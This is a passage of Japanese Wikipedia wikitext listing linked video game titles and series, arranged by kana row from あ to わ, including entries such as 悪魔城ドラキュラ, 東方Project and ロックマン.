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<tr><td><table cellpadding="3"><tr><td>[[#関連項目|関連項目]]</td></tr></table></td></tr>
</table>
== あ行 ==
=== あ ===
* [[アーガス]]
* [[アース・アンド・ビヨンド]]
* [[アースライト]]
** [[アースライト ルナ・ストライク]]
* アークザラッドシリーズ
** [[アークザラッド]]
** [[アークザラッドII]]
** [[アークザラッドIII]]
** [[アークザラッド 機神復活]]
** [[アークザラッド 精霊の黄昏]]
* [[アークトゥルス (ゲーム)|アークトゥルス]]
* [[アーサーとアスタロトの謎魔界村]]
* [[Urban Assault]]
* [[アーバンチャンピオン]]
* [[アームドF]]
* [[RF online]]
* [[R-TYPE]]
* [[アイギーナの予言]]
* [[アイスクライマー]]
* [[愛戦士ニコル]]
* [[あいたくて… 〜your smiles in my heart〜]]
* [[超兄貴#続編作品|愛・超兄貴]]
* [[アイドルマスターシリーズ]]
** [[THE IDOLM@STER]]
** [[THE IDOLM@STER (Xbox 360)|THE IDOLM@STER (Xbox 360版)]]
** [[THE IDOLM@STER LIVE FOR YOU!]]
** [[THE IDOLM@STER SP]]
** [[THE IDOLM@STER Dearly Stars]]
** [[THE IDOLM@STER 2]]
** [[THE IDOLM@STER SHINY FESTA]]
** [[アイドルマスター ワンフォーオール]]
* [[IPMインベーダー]]
* [[アウトトリガー]]
* [[アウトフォクシーズ]]
* [[アウトラン]]
* [[アヴァロンの鍵]]
* [[蒼き狼と白き牝鹿シリーズ]]
** [[蒼き狼と白き牝鹿・ジンギスカン]]
* [[アカイイト]]
* [[赤ちゃんはどこからくるの?]]
* [[アクアゾーン|AQUAZONE]]
* [[アクアラッシュ]]
* [[アクトレイザー]]
** [[アクトレイザー2 沈黙への聖戦]]
* 悪魔城ドラキュラシリーズ
** [[悪魔城ドラキュラ]]
** [[ドラキュラII 呪いの封印]]
** [[悪魔城伝説]]
** [[悪魔城ドラキュラX 血の輪廻]]
*** [[悪魔城ドラキュラXX]]
** [[悪魔城ドラキュラX 月下の夜想曲]]
** [[悪魔城ドラキュラ 漆黒たる前奏曲]]
** [[悪魔城ドラキュラ Circle of the Moon]]
** [[悪魔城ドラキュラ 蒼月の十字架]]
** [[悪魔城ドラキュラ ギャラリー オブ ラビリンス]]
** [[悪魔城ドラキュラ 奪われた刻印]]
** [[キャッスルヴァニア]]
** [[キャッスルヴァニア 白夜の協奏曲]]
** [[キャッスルヴァニア 暁の円舞曲]]
** [[キャッスルヴァニア ロード オブ シャドウ]]
** [[キャッスルヴァニア ロード オブ シャドウ2]]
* [[アサシン クリードシリーズ]]
* [[アサルト]]
* [[あすか120%]]* [[アスガルド (オンラインゲーム)|アスガルド]]
* [[アストロノーカ]]
* [[アストロロボSASA]]
* [[アップルタウン物語]]
* [[あつまれ!!メイド イン ワリオ]]([[メイド イン ワリオ]])
* [[アテナ (ゲーム)|アテナ]]
* [[アトランチスの謎]]
* [[アドバンスド大戦略]]([[大戦略シリーズ]])
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* [[アナザーコード 2つの記憶]]
* [[Another Century's Episode]]
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* ANUBIS ZONE OF THE ENDERS([[ZONE OF THE ENDERS]]シリーズ)
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* [[アルカナハート]]
* [[アルカノイド]]([[ブロック崩しゲーム]])
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* [[アルゴスの戦士]]
* [[アルトネリコ|アルトネリコ 世界の終わりで詩い続ける少女]]
* [[アルバレアの乙女]]
* [[アルファリンク]]シリーズ
* [[アルフール小国物語]]
* [[アレサ]]シリーズ
* [[アローン・イン・ザ・ダーク]]シリーズ
* [[Angband]]
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* [[UNDERTALE]]
* [[アンチャーテッドシリーズ]]
=== い ===
* [[イー・アル・カンフー]]
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** [[イースI|イース]]
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*** イースV Lost Kefin, Kingdom of Sand
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*** イース -ナピシュテムの匣-
** [[イースVII|イース7]]
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** [[イース・ストラテジー]]
* [[イースvs.空の軌跡 オルタナティブ・サーガ]]
* [[EAT LEAD マット・ハザードの逆襲]]
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* [[ICO (ゲーム)|ICO]]
* [[イシターの復活]]([[バビロニアン・キャッスル・サーガ]]シリーズ)
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* [[iS internal section]]
* [[いただきストリート]]シリーズ
* [[1942 (ゲーム)|1942]]シリーズ
** 1942
** 1943
** 1943改
** 1941
** [[19XX -THE WAR AGAINST DESTINY-]]
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* [[いっき]]
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* [[井出洋介名人の実戦麻雀]]シリーズ
* [[糸井重里のバス釣りNo.1]]シリーズ
* [[頭文字D ArcadeStage]]シリーズ
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* [[Iris 〜イリス〜]]
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* [[妹ふらぐ]]
* [[infinity (ゲーム)|infinity]]シリーズ
** [[infinity (ゲーム)#Never7 -the end of infinity-|Never7 -the end of infinity-]]
** [[Ever17 -the out of infinity-]]
** [[Remember11 -the age of infinity-]]
* [[インタールード (ゲーム)|インタールード]]
* [[インフィニット アンディスカバリー]]
=== う ===
* [[ヴァジアルサーガ 〜愚民化戦略〜]]
* [[ヴァルキリープロファイルシリーズ]]
* [[ヴァルハラナイツ]]シリーズ
** [[ヴァルハラナイツ2]]
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** [[ヴァルハラナイツ エルダールサーガ]]
* [[VANQUISH]]
* [[ヴァンテージ・マスター]]シリーズ
** ヴァンテージ・マスター
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* [[ヴィマナ (シューティングゲーム)|ヴィマナ]]
* [[VIRUS]]
* [[ウィル デス・トラップII]]
* [[ウィロー (ゲーム)|ウィロー]]
* [[ウェーブレース]]シリーズ
* [[うえきの法則 倒すぜロベルト十団!!]]
* [[ウエスタンガン]]
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* [[宇宙戦艦ゴモラ]]
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* [[ウルトラ警備隊 モンスターアタック]]
* [[ウルトラマン]]シリーズ
** [[ウルトラマン 怪獣帝国の逆襲]]
** [[ウルトラマン2 出撃科特隊]]
* [[ウルトラマン Fighting Evolution]]シリーズ
* [[ウルトラマン倶楽部 (ゲーム)]]
* [[Wolfenstein]]シリーズ
* [[ウルフファング]]
* [[ウンジャマラミー]]
=== え ===
* [[AIR (ゲーム)|AIR]]
* [[エアガイツ]]
* [[エアフォースデルタ]]
* [[エアーマネジメント]]シリーズ
** エアーマネジメント 大空に賭ける
*** エアーマネジメント'96
** エアーマネジメント2 航空王をめざせ
* [[エアラインパイロッツ]]
* [[エアロダンシング]]シリーズ
** エアロダンシング featuring Blue Impuls
** エアロダンシング 轟隊長の秘密ディスク
** エアロダンシング F
** エアロダンシング F 轟つばさの初飛行
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** エアロダンシング i 次回作まで待てませ〜ん
** エアロダンシング 4 Next Generation
* [[えいご漬け]]
* [[英雄伝説シリーズ]]
** [[ドラゴンスレイヤー英雄伝説]]シリーズ
*** ドラゴンスレイヤー英雄伝説
**** 新英雄伝説
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*** 英雄伝説 I・II
** [[英雄伝説 ガガーブトリロジー]]
*** [[英雄伝説III 白き魔女]]
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**** 英雄伝説III 白き魔女 -もうひとつの英雄たちの物語-
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**** 英雄伝説ガガーブトリロジー 白き魔女
*** [[英雄伝説IV 朱紅い雫]]
**** 英雄伝説ガガーブトリロジー 朱紅い雫
*** [[英雄伝説V 海の檻歌]]
**** 英雄伝説ガガーブトリロジー 海の檻歌
** [[英雄伝説VI 空の軌跡]]シリーズ
*** 英雄伝説 空の軌跡FC
*** 英雄伝説 空の軌跡SC
*** 英雄伝説 空の軌跡 the 3rd
** [[英雄伝説VII]]
*** 英雄伝説 零の軌跡
*** 英雄伝説 碧の軌跡
* [[エイリアンVSプレデター (ゲーム)|エイリアンVSプレデター]]
* [[エイジ オブ エンパイア シリーズ]]
** [[エイジ オブ エンパイア]]
** [[エイジ オブ エンパイアII]]
** [[エイジ オブ エンパイアIII]]
** [[エイジ オブ ミソロジー]]
* [[エイブ・ア・ゴーゴー]]
* [[エウレカセブン (ゲーム)|エウレカセブン TR1:NEW WAVE]]
* [[エースコンバットシリーズ]]
* [[A3 (ゲーム)|A3]]
* [[A列車で行こうシリーズ]]
* エキサイトバイクシリーズ
** [[エキサイトバイク]]
** [[エキサイトバイク64]]
* [[エグゼドエグゼス]]
* [[エクセリオン]]
* [[エクステトラ]]
* [[エクソダスギルティー]]
* [[SDガンダム GGENERATION]]
* [[エストポリス伝記]]
* [[エスプガルーダ]]
** [[エスプガルーダII]]
* [[エスプレイド]]
* [[エターナルアルカディア]]
* [[Laghaim|エターナルカオスNEO]]
* [[エターナルゾーン]]
* [[エターナルダークネス 〜招かれた13人〜]]
* [[エターナルメロディ]]
* [[エターナルナイツ]]
* [[ETERNAL RING]]
* [[エッガーランド]]
* [[エナジーエアフォース]]シリーズ
<!--* [[ひとりでできるもん!|NHKひとりでできるもん!]] - リンク先の記述がコメントアウト中-->
* [[エバークエスト]]シリーズ
** [[エバークエスト2]]
* [[Ever17 -the out of infinity-]]([[infinity (ゲーム)|infinity]]シリーズ)
* [[F-ZERO]]シリーズ
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* [[F1サーカス]]
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* [[えりかとさとるの夢冒険]]
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* [[Lの季節|Lの季節 〜A piece of memories〜]]
* [[エルファリア]]
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* [[エレクトロプランクトン]]
* [[エレベーターアクション]]シリーズ
*[[エレメンタル ジェレイド]]
* [[Engacho!]]
* [[エンジョイゴルフ!]]
* [[エンジェリック・コンサート]]
* [[エンジェリックセレナーデ|AS〜エンジェリックセレナーデ]]
* [[エンド オブ エタニティ]]
**AS DVD 生まれたばかりのLoveSong
=== お ===
* [[オウガバトルサーガ]]
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* [[大江戸ファイト]]([[富士山バスター]]シリーズ)
* [[大神 (ゲーム)|大神]]
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== か行 ==
=== か ===
* [[Cardinal Saga|カーディナル・サーガ]]
* [[CardWirth|カードワース]]
* [[カービィのエアライド]]([[星のカービィシリーズ]])
* [[GIRLSブラボー|GIRLSブラボー Romance15's]]
* [[ガイアマスター]]シリーズ
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* [[カオス レギオン]]
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** 風のクロノア2〜世界が望んだ忘れもの〜
* [[風の伝説ザナドゥ]]シリーズ
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* [[塊魂]](かたまりだましい)
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=== き ===
* [[消えたプリンセス]]
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=== く ===
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** [[幻想水滸伝]]
** [[幻想水滸伝II]]
** [[幻想水滸外伝|幻想水滸外伝Vol.1 ハルモニアの剣士]]
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** [[幻想水滸伝III]]
** [[幻想水滸伝IV]]
** [[Rhapsodia]]
** [[幻想水滸伝V]]
** 幻想水滸伝I&II
** [[幻想水滸伝ティアクライス]]
* [[幻創遊記]]
* [[源平討魔伝]]
* [[絢爛舞踏祭]]
* [[喧嘩番長]]
* [[幻魔大戦 (映画)|幻魔大戦]]
=== こ ===
* [[攻殻機動隊 STAND ALONE COMPLEX (ゲーム)]]
* [[高気圧ボーイ]]
* [[高機動幻想ガンパレード・マーチ]]
* [[光線銃シリーズ]]
** [[ワイルドガンマン]]
** [[ダックハント]]
** [[ホーガンズアレイ]]
* [[高速機動隊 〜World Super Police〜]]
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* [[甲虫王者ムシキング]]
* [[ゴーストリコンシリーズ|Ghost Recon]]シリーズ
** [[ゴーストリコン]]
** [[ゴーストリコン デザートシージ]]
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** [[ゴーストリコン ジャングルストーム]]
** [[ゴーストリコン2]]
** [[ゴーストリコン アドバンスウォーファイター]]
* [[コード・エイジ コマンダーズ]]
* [[Goat Simulator]]
* [[コール オブ デューティシリーズ]]
* [[ゴールデンアックス]]
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* [[刻命館]]
** [[影牢 〜刻命館 真章〜]]
** [[蒼魔灯]]
* [[ココナワールド]]
* [[コズミックウォーズ]]
* [[コスミックモンスター]]
* [[コスモウォーリアー零]]
* [[コスモポリス ギャリバン]]
* [[コスモポリス ギャリバンII]]
* [[ゴッドイーター]]
* [[コットン (ゲーム)|コットン]]シリーズ
* [[ことばのパズル もじぴったん]]
* [[コナミアンティークスMSXコレクション]]
* [[コナミワイワイワールド]]
** [[ワイワイワールド2 SOS!!パセリ城]]
* [[子猫物語]]
* [[この晴れた空の下で]]
* [[コマンドス]](COMMANDOS)シリーズ
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* [[コラムス]]
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* [[ゴールデンアイ 007]]
* [[ゴールデンアイ ダーク・エージェント]]
* [[ゴルフ (任天堂)|ゴルフ]]
* [[コロッサル・ケーブ・アドベンチャー]]
* [[コロリンパ]]シリーズ
** [[コロリンパ2 アンソニーと金色ひまわりのタネ]]
* [[コンピュータースペース]]
== さ行 ==
=== さ ===
* [[サーカス (ゲーム)|サーカス]]
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**[[サークII]]
**[[サークIII]]
**[[ガゼルの塔|Xak - ガゼルの塔 -]]
**[[フレイ (ゲーム)|フレイ]]
* [[サイキックシティ]]
* [[サイキックフォース]]シリーズ
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* [[サイドアーム (シューティングゲーム)|サイドアーム]]
* [[サイバーボッツ]]
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* [[サイレントスコープ]]
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* [[ザッツキューティ]](That's QT)
* [[里見の謎]]
* [[ザ・ナイトメア・オブ・ドルアーガ 不思議のダンジョン]]([[バビロニアン・キャッスル・サーガ]]シリーズ)
* [[ザナドゥ (ゲーム)|ザナドゥ]]シリーズ
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* [[ザ・ハウス・オブ・ザ・デッド]]シリーズ
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* [[サンパギータ]]
* [[さんまの名探偵]]
=== し ===
* [[Gダライアス]]([[ダライアス]]シリーズ)
* [[ジービー]]
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* [[ジェネレーションオブカオス]]シリーズ
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* [[The Elder Scrolls]]
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* [[実況パワフルプロ野球]]シリーズ
**[[実況パワフルメジャーリーグ]]
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* [[シティー ライフ]]シリーズ
**シティー ライフ
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=== す ===
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=== せ ===
* [[聖剣サイコカリバー]]
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*** [[聖剣伝説 〜ファイナルファンタジー外伝〜#新約 聖剣伝説|新約 聖剣伝説]]
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=== そ ===
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== た行 ==
=== た ===
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** [[天外魔境II 卍MARU#他機種版|天外魔境II MANJI MARU]] ([[ニンテンドーDS|DS]])
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** [[天外魔境 第四の黙示録#PSP版での追加、変更点|天外魔境 第四の黙示録]] ([[PlayStation Portable|PSP]])
** 天外魔境 JIPANG7
** 天外魔境 for GREE
* [[天空のレストラン]]
* 天使のプレゼント マール王国物語([[マール王国の人形姫]]シリーズ)
* [[電車でGO!]]シリーズ
* 転生學園シリーズ
** [[転生學園幻蒼録]]
** [[転生學園月光録]]
* [[伝説のスタフィーシリーズ]]
**[[伝説のスタフィー]]
**[[伝説のスタフィー2]]
**[[伝説のスタフィー3]]
**[[伝説のスタフィー4]]
**[[伝説のスタフィー たいけつ!ダイール海賊団]]
* [[てんたま]]シリーズ
* [[天地創造 (ゲーム)|天地創造]]
* [[天地の門]]
* [[天地の門2 武双伝]]
* [[天誅 (ゲーム)|天誅]]
* [[天地を喰らう]]シリーズ
** [[天地を喰らうII 赤壁の戦い]]
* [[電脳戦機バーチャロン]]
=== と ===
* [[ドアドア]]
* [[トイレキッズ]]
* [[かんしゃく玉なげカン太郎の東海道五十三次|東海道五十三次]]
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* [[東京魔人學園伝奇]]
* [[闘神伝]]シリーズ
* [[どうぶつ島のチョビぐるみ]]シリーズ
* [[どうぶつの森シリーズ]]
* [[動物番長]]
* [[DOOM]] シリーズ
* [[トゥームレイダー]]シリーズ
* [[東方Project]]
** [[東方靈異伝 〜 Highly Responsive to Prayers.]]
** [[東方封魔録 〜 the Story of Eastern Wonderland.]]
** [[東方夢時空 〜 Phantasmagoria of Dim.Dream.]]
** [[東方幻想郷 〜 Lotus Land Story.]]
** [[東方怪綺談 〜 Mystic Square.]]
** [[東方紅魔郷 〜 the Embodiment of Scarlet Devil.]]
** [[東方妖々夢 〜 Perfect Cherry Blossom.]]
** [[東方永夜抄 〜 Imperishable Night.]]
** [[東方萃夢想 〜 Immaterial and Missing Power.]]
** [[東方花映塚 〜 Phantasmagoria of Flower View.]]
** [[東方文花帖 〜 Shoot the Bullet.]]
** [[東方風神録 〜 Mountain of Faith.]]
** [[東方緋想天 〜 Scarlet Weather Rhapsody.]]
** [[東方星蓮船 〜 Undefined Fantastic Object.]]
** [[東方非想天則 〜 超弩級ギニョルの謎を追え]]
** [[ダブルスポイラー 〜 東方文花帖]]
** [[妖精大戦争 〜 東方三月精]]
** [[東方神霊廟 〜 Ten Desires.]]
** [[東方心綺楼 〜 Hopeless Masquerade.]]
** [[東方輝針城 〜 Double Dealing Character.]]
** [[弾幕アマノジャク 〜 Impossible Spell Card.]]
** [[東方深秘録 〜 Urban Legend in Limbo.]]
** [[東方紺珠伝 〜 Legacy of Lunatic Kingdom.]]
** [[東方天空璋 〜 Hidden Star in Four Seasons.]]
** [[東方憑依華 〜 Antinomy of Common Flowers.]]
** [[秘封ナイトメアダイアリー 〜 Violet Detector.]]
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* [[トマトアドベンチャー]]
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* ドライバーズアイ([[ウィニングラン (コンピューターゲーム)|ウィニングラン]]シリーズ)
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== な行 ==
=== な ===
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=== に ===
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*[[隠忍伝説ONI2]]
=== ぬ ===
* [[ヌイーゼン|19(ヌイーゼン)]]
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=== ね ===
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* [[infinity (ゲーム)#Never7 -the end of infinity-|Never7 -the end of infinity-]]([[infinity (ゲーム)|infinity]]シリーズ)
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=== の ===
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* [[信長の野望シリーズ]]
== は行 ==
=== は ===
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=== ひ ===
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=== ほ ===
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== ま行 ==
=== ま ===
* [[MARTIAL BEAT]]
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* 魔界戦記ディスガイアシリーズ
** [[魔界戦記ディスガイア]]
*** 魔界戦記ディスガイアPORTABLE
*** 魔界戦記ディスガイアPORTABLE 通信対戦はじめました。
*** 魔界戦記ディスガイア 魔界の王子と赤い月
** [[魔界戦記ディスガイア2]]
** [[魔界戦記ディスガイア3]]
* [[マグナカルタ (ゲーム)|マグナカルタ]]
* [[マグマックス]]
* [[マクロスシリーズ (ゲーム)|マクロスシリーズ]]
* [[摩訶摩訶]]
* [[負けるな!魔剣道]]
* [[MOTHERシリーズ]]
** [[MOTHER (ゲーム)|MOTHER]]
** [[MOTHER2 ギーグの逆襲]]
** [[MOTHER1+2]]
** [[MOTHER3]]
* [[まじかる☆タルるートくん]]シリーズ
* [[マジカルチェイス]]
* [[マジカルドロップ]]シリーズ
* [[マジカルバケーション]]
* [[マジカルバケーション 5つの星がならぶとき]]
* [[マジックソード]]
* [[魔女っ子大作戦]]
** 輪舞-ロンド-
* [[魔女ボーグ メグリロ]]
* [[魔晶伝紀ラ・ヴァルー]]
* [[魔法騎士レイアース]]シリーズ
* [[魔法大作戦]]シリーズ
**魔法大作戦
**[[疾風魔法大作戦]]
**[[グレート魔法大作戦]]
* [[魔装機神]]シリーズ
* [[街 〜運命の交差点〜]]
* [[マックスペイン]]
* [[マッドストーカー]]
* [[マッハライダー]]
* [[マッピー]]シリーズ
* [[松本亨の株式必勝学]]
* [[魔導物語]]シリーズ
* [[マドゥーラの翼]]
* [[マビノギ (ゲーム)|マビノギ]]
* [[マビノ×スタイル]]
* [[魔法の天使クリィミーマミ 二つの世界の物語]]
*[[魔法先生ネギま!]]シリーズ
** [[魔法先生ネギま!プライベートレッスン ダメですぅ図書館島]]
** [[魔法先生ネギま!1時間目 お子ちゃま先生は魔法使い!]]
** [[魔法先生ネギま!2時間目 戦う乙女たち!麻帆良大運動会SP!]]
* [[魔法大作戦]]シリーズ
* [[マリオシリーズ]](タイトルにマリオがついている[[任天堂]]のゲーム)
** [[マリオブラザーズ]]
** [[スーパーマリオブラザーズ]]シリーズ
** [[スーパーマリオランド]]シリーズ
** [[スーパーマリオアドバンス]]シリーズ
** [[スーパーマリオ ヨッシーアイランド]]
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** [[スーパーマリオサンシャイン]]
** [[マリオvs.ドンキーコング]]
** [[スーパーマリオRPG]]
** [[マリオストーリー]]
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** [[マリオ&ルイージRPG2]]
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* [[マルチセッションGDK]]([[BEMANIシリーズ]])
* [[まわるメイドインワリオ]]([[メイド イン ワリオ]]シリーズ)
=== み ===
* [[ミサイルコマンド]]
* [[ミザーナ・フォールズ]]
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* [[MYST]]
* [[ミスタードリラー]]シリーズ
* [[Mr.インクレディブル]]
* [[ミステリアスハウス]]
* [[ミステリーハウス]]
* [[ミステリーハウス2]]
* [[ミッキーのマジカルアドベンチャー]]
* [[ミッキーマウス 不思議の国の大冒険]]
* [[ミックスヴェリス]]
* [[Missing Blue]]
* [[みつめてナイト]]シリーズ
* [[水戸黄門 (ゲーム)|水戸黄門]]
* [[みならい魔法使いフワルの冒険]]
* [[ミネルバトンサーガ ラゴンの復活]]
* [[MU -奇蹟の大地-]]
* [[Milky Season]]
* [[未来少年コナン]]
* ミロンのシリーズ
** [[迷宮組曲 ミロンの大冒険]]
** [[ドレミファンタジー ミロンのドキドキ大冒険|ドレミファンタジー ~ミロンのドキドキ大冒険~]]
** [[ミロンのほしぞらしゃぼん パズル組曲]]
* [[みんなdeクエスト]]
* [[みんなのGOLF]]シリーズ
* [[みんなのテニス]]
=== む ===
* [[moon (アスキーのゲーム)|moon]]
* [[ムーンパトロール]]
* [[六三四の剣]]
* [[ムサピィのチョコマーカー]]
* [[虫姫さま]]
** [[虫姫さま ふたり]]
* [[無双シリーズ]]
=== め ===
* [[Maze War]]
* [[メイド イン ワリオ]]
** [[あつまれ!!メイド イン ワリオ]]
** [[まわるメイドインワリオ]]
** [[さわるメイドインワリオ]]
* [[メイプルストーリー]]
* [[女神転生]]シリーズ
* [[めざせパチプロ!パチ夫くん]]シリーズ
* [[メジャーハボック]]
* [[メダル・オブ・オナー (ゲームソフト)|メダル・オブ・オナー]]シリーズ
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* [[メタルホーク]]
* [[メタルマックス]]シリーズ
* [[メダロット]]
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=== も ===
* [[魍魎戦記MADARA]]
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* [[モータルコンバット]]
* [[モナコGP (ゲーム)|モナコGP]]
* 桃太郎シリーズ
** [[桃太郎伝説シリーズ]]
*** [[桃太郎伝説]]
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*** [[桃太郎伝説II]]
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*** [[スーパー桃太郎電鉄III]]
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*** [[桃太郎電鉄HAPPY]]
*** [[桃太郎電鉄7]]
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*** [[桃太郎電鉄USA]]
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*** [[桃太郎電鉄15 五大ボンビー登場!の巻]]
*** [[桃太郎電鉄16 北海道大移動の巻!]]
*** [[桃太郎電鉄DS TOKYO&JAPAN]]
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*** [[桃太郎電鉄2010 戦国・維新のヒーロー大集合!の巻]]
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*** [[桃太郎電鉄WORLD]]
*** [[桃太郎電鉄2017 たちあがれ日本!!]]
** [[桃太郎活劇]]
** [[桃太郎電劇]]
** [[桃太郎電劇2]]
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* [[森田のバトルフィールド]]
* [[モンスターハンターシリーズ]]
* [[モンスターファームシリーズ]]
** [[モンスターファーム (PlayStation)|モンスターファーム]](PS)
** [[モンスターファーム2]]
** [[モンスターファーム (PlayStation 2)|モンスターファーム]](PS2)
** [[モンスターファーム4]]
** [[モンスターファーム5 サーカスキャラバン]]
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** [[モンスターファームアドバンス2]]
** [[かいて しゃべって はじめよう!モンスターファームDS]]
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** [[モンスターファームバトルカード (PlayStation)|モンスタファームバトルカード]]
** [[モンスターファームジャンプ]]
* [[モンスターメーカー]]
* [[モバイルウォーズ]]
== や行 ==
=== や ===
* [[野球格闘リーグマン]]
* [[やるドラ]]シリーズ
** [[ダブルキャスト (ゲーム)|ダブルキャスト]]
** [[季節を抱きしめて]]
** [[サンパギータ]]
** [[雪割りの花]]
** [[スキャンダル (ゲーム)|スキャンダル]]
** [[BLOOD THE LAST VAMPIRE#コンピュータゲーム|BLOOD THE LAST VAMPIRE]]
* [[やわらかあたま塾]]
* [[ヤンデレシミュレーター]]
=== ゆ ===
* [[悠久幻想曲]]シリーズ
* [[有罪×無罪]]
* [[UFO -A day in the life-]]
* [[ふぁみこんむかし話 遊遊記|遊遊記]](ふぁみこんむかし話シリーズ)
* [[幽☆遊☆白書]]シリーズ
* [[幽☆遊☆白書FOREVER]]
* [[ユーラシアエクスプレス殺人事件]]
* [[雪割りの花]]
* [[ゆけゆけ!!トラブルメーカーズ]]
* [[ゆみみみっくす]]
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* [[夢のつばさ]]
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* [[ゆめりあ]]
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=== よ ===
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* [[与作 (ゲーム)|与作]]
* [[義経紀]]
* [[ヨッシーストーリー]]
* [[ヨッシーのクッキー]]
* [[ヨッシーのたまご]]
* [[ヨッシーの万有引力]]
*[[よるのないくに]]
== ら行 ==
=== ら ===
* [[ライズ オブ ネイション 〜民族の興亡〜]]
* [[ライク・ライフ アン・アワー]]
* [[雷電 (シューティングゲーム)|雷電]]シリーズ
** [[雷電II]]
** [[雷電DX]]
** [[雷電III]]
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*** [[ライデンファイターズ]]シリーズ
**** [[ライデンファイターズ2]]
**** [[ライデンファイターズJET]]
* [[ライトニングレジェンド]]
* [[ライブ・ア・ライブ]]
* [[ライフフォース]]([[沙羅曼蛇]]シリーズ)
* [[らき☆すた 萌えドリル]]
* [[らき☆すた 〜陵桜学園 桜藤祭〜]]
* [[ラクガキ王国]]
* [[ラグナロクオンライン]]
* [[ラグランジュポイント (ゲーム)|ラグランジュポイント]]
* [[ラジアータ ストーリーズ]]
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* [[ラストブロンクス]]
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* [[らぶドル 〜Lovely Idol〜]]
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* [[ラプラスの魔 (コンピュータゲーム)|ラプラスの魔]]
* [[ラリーX]]
* [[ラングリッサー]]シリーズ
** [[ラングリッサーIII]]
* [[ランペルール]]
=== り ===
* [[リアルサウンド 〜風のリグレット〜]]
* [[League Bowling]]
* [[リヴリーアイランド]]
* [[リズム天国]]
** [[リズム天国ゴールド]]
* Return to ZORK([[ゾーク]]シリーズ)
* [[Richard Burns Rally]]
* [[リッジレーサー]]シリーズ
** レイヴレーサー
** レイジレーサー
* リトル・ウィッチ パルフェシリーズ
** [[リトル・ウィッチ パルフェ|リトル・ウィッチ パルフェ 〜黒猫印の魔法屋さん〜]]
** [[リトル・ウィッチ レネット 〜スワンの涙ラプソディ〜]]
** [[お花畑のフローレ]]
** [[ハートフルメモリーズ 〜Little Witch Parfait 2〜]]
** [[パルフェふぁんBOX|ココットのどきどきQUIZ大作戦]]
* リトルプリンセス マール王国の人形姫2([[マール王国の人形姫]]シリーズ)
* [[リネージュ]]シリーズ
** [[リネージュII]]
* [[リバース ムーン]]
* [[リプルのたまご]]
* [[リブルラブル]]
* [[リム ランナーズ]]
* [[Remember11 -the age of infinity-]]([[infinity (ゲーム)|infinity]]シリーズ)
* [[龍が如く]]
* [[龍虎の拳]]
* [[リラックマ 〜おじゃましてます2週間〜]]
* [[RING of RED]]
* [[リンダキューブ]]
=== る ===
* [[ルイージマンション]]
* [[ルート16ターボ]]
* [[ルーンワース]]シリーズ
* [[ルセッティア 〜アイテム屋さんのはじめ方〜]]
* [[ルドラの秘宝]]
* [[LUNAR]]シリーズ
* [[ルナーボール]]
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* [[るろうに剣心 -明治剣客浪漫譚-|るろうに剣心]]シリーズ
* [[ループシーケンサー ミュージックジェネレーター]]
* [[ルーブル 最後の呪い]]
=== れ ===
* レイヴレーサー([[リッジレーサー]]シリーズ)
* [[レイシアン〜真実を求めて〜]]
* レイジレーサー([[リッジレーサー]]シリーズ)
* [[RAVE]]シリーズ
* [[レイフォース]]シリーズ
** [[レイストーム]]
** [[レイクライシス]]
* [[レイディアントシルバーガン]]
* [[Railfan]]
* [[レインボーアイランド]]([[バブルボブル]]シリーズ)
* [[Rainbow Six]]シリーズ
* [[レガイア伝説]]
* [[レジェンズ (ウィズ)|レジェンズ]]
* [[レジェンド オブ ドラグーン]]
* [[Rez]]
* [[レッキングクルー]]
* [[烈火の炎]]シリーズ
* [[レゴ・スタントラリー]]
* [[レミングス]]
* [[レナス]]シリーズ
** [[レナス 古代機械の記憶]]
** [[レナスII 封印の使徒]]
=== ろ ===
* [[ロイヤルブラッド]]
* [[ローグ]]
* [[ローグギャラクシー]]
* ロード・オブ・ザ・リングシリーズ
** [[ロード・オブ・ザ・リング/二つの塔]]
** [[ロード・オブ・ザ・リング/王の帰還]]
* [[RoadRUSH]]シリーズ
* [[ロードランナー]]シリーズ
** [[チャンピオンシップロードランナー]]
* [[ローラーコースタータイクーン]]シリーズ
* [[ローリングサンダー (コンピュータゲーム)|ローリングサンダー]]
* [[ロストオデッセイ]]
* [[ロスト プラネット エクストリーム コンディション]]
* [[Lost Memory]]
* [[ロストワールド (ゲーム)|ロストワールド]]
* [[ロックネス]]
* [[ロックマンシリーズ]]
** [[ロックマン (ゲーム)|ロックマン]]
** [[ロックマン2 Dr.ワイリーの謎]]
** [[ロックマン3 Dr.ワイリーの最期!?]]
** [[ロックマン4 新たなる野望!!]]
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** [[ロックマン6 史上最大の戦い!!]]
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** [[ロックマン8 メタルヒーローズ]]
** [[ロックマン&フォルテ]]
** [[ロックマンロックマン]]
** [[ロックマンメガワールド]]
** [[ロックマン&フォルテ 未来からの挑戦者]]
** [[ロックマン9 野望の復活!!]]
** [[ロックマン10 宇宙からの脅威!!]]
** [[ロックマン11 運命の歯車!!]]
* [[ロックマンXシリーズ]]
** [[ロックマンX]]
** [[ロックマンX2]]
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** [[ロックマンX4]]
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** [[ロックマンX COMMAND MISSION]]
** [[イレギュラーハンターX]]
* [[ロックマンDASHシリーズ]]
* [[ロックマンエグゼシリーズ]]
** [[バトルネットワーク ロックマンエグゼ]]
** [[バトルネットワーク ロックマンエグゼ2]]
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** [[ロックマンエグゼ4]]
** [[ロックマンエグゼ4.5 リアルオペレーション]]
** [[ロックマンエグゼ5]]
** [[ロックマンエグゼ5DS ツインリーダーズ]]
** [[ロックマンエグゼ6]]
** [[ロックマンエグゼ トランスミッション]]
* [[ロックマンゼロ]]シリーズ
* [[ロックマンゼクス]]
* [[流星のロックマン (ゲーム)|流星のロックマン]]
* [[ロットロット]]
* [[ロボッツ]]
* [[ロボットポンコッツ]]
* [[ロマンシア]]
* 輪舞-ロンド-([[魔神転生]]シリーズ)
== わ行 ==
=== わ ===
* [[ワープマン]]
* [[ワールドアドバンスド大戦略 〜鋼鉄の戦風〜]]([[大戦略シリーズ]])
* [[ワールドコンバット]]
* [[World of Warcraft]]
* ワールドサッカーウイニングイレブン([[ウイニングイレブン]]シリーズ)
* [[ワールド・デストラクション]]
* [[ワールド・ネバーランド]]シリーズ
* [[ワールドヒーローズ]]
* [[ワイバーンF-0]]
* [[ワイルドアームズシリーズ]]
* [[ワイルドカード (ゲーム)|ワイルドカード]]
* [[ワイルドトラックス]]
* [[ワギャンランド]]
* [[ワリオの森]]
* [[ワリオランド]]シリーズ
* [[ワリオワールド]]
* [[ワルキューレの冒険 時の鍵伝説]]
** [[ワルキューレの伝説]]
* [[ワンダと巨像]]
* [[ワンダープロジェクトJ 機械の少年ピーノ]]
** [[ワンダープロジェクトJ2 コルロの森のジョゼット]]
